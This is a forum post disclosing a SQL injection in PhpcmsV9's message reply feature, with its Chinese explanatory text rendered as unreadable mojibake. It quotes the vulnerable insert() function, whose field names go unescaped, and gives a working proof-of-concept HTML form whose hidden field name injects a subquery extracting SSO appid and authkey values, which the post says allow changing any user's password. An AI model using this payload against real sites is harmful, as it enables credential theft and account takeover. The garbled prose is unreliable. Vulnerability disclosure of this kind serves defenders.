admin 2013-2-23 11:33:10

PhpcmsV9 SQLע޸û©

Ҫ

ڶԼлҵĹעڵڶʹһƵSQLע䣬ĿĿ޸û룬ȷϰȫΣȼΪߡ

ٸһ©
ϸ˵
/phpcms9/phpcms/modules/message/index.phpд£

$messageid = $this->message_db->insert($_POST['info'],true);


insertkey valueģ£

public function insert($data, $table, $return_insert_id = false, $replace = false) {
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
                        return false;
                }
               
                $fielddata = array_keys($data);
                $valuedata = array_values($data);
                array_walk($fielddata, array($this, 'add_special_char'));
                array_walk($valuedata, array($this, 'escape_string'));
               
                $field = implode (',', $fielddata);
                $value = implode (',', $valuedata);

                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
                $return = $this->execute($sql);
                return $return_insert_id ? $this->insert_id() : $return;
      }


ţź

array_walk($fielddata, array($this, 'add_special_char'));


вûжkeyκεĹˣԣһᵽĴ뵼һSQLע©

ˣΪpocһ£ҶȡұصauthkeyѾûˣҾûʾˡ

©֤
phpsso_serverappidauthkeyȻԵclient.class.phpеps_member_edit޸û롣


£ûʲôĵԼһġ
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
<table width="100%" cellspacing="0" class="table_form">
<tr>
<th> ⣺</th>
<td><input name="info" type="text" id="subject" size="30" value="Re: hh"class="input-text"/></td>
</tr>
<tr>
<th> ݣ</th>
<td><textarea name="info"id="con" rows="5" cols="50"></textarea></td>
</tr>
<input type="hidden" name="info" value="2" />
<input type="hidden" name="info" value="cc" />
<input type="hidden" name="info" value="hh">
<!-- ©ص↑ʼ -->
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
<!-- ©ص -->
<tr>
<th>֤룺</th>
<td><input name="code" type="text" id="code" size="10"class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
</tr>
<tr>
<td></td>
<td colspan="2"><label>
<input type="submit" name="dosubmit" id="dosubmit" value="ȷ " class="button"/>
</label></td>
</tr>
</table>
</form>
add_special_charڶkey˾Ϳˡ



ҳ: [1]
鿴汾: PhpcmsV9 SQLע޸û©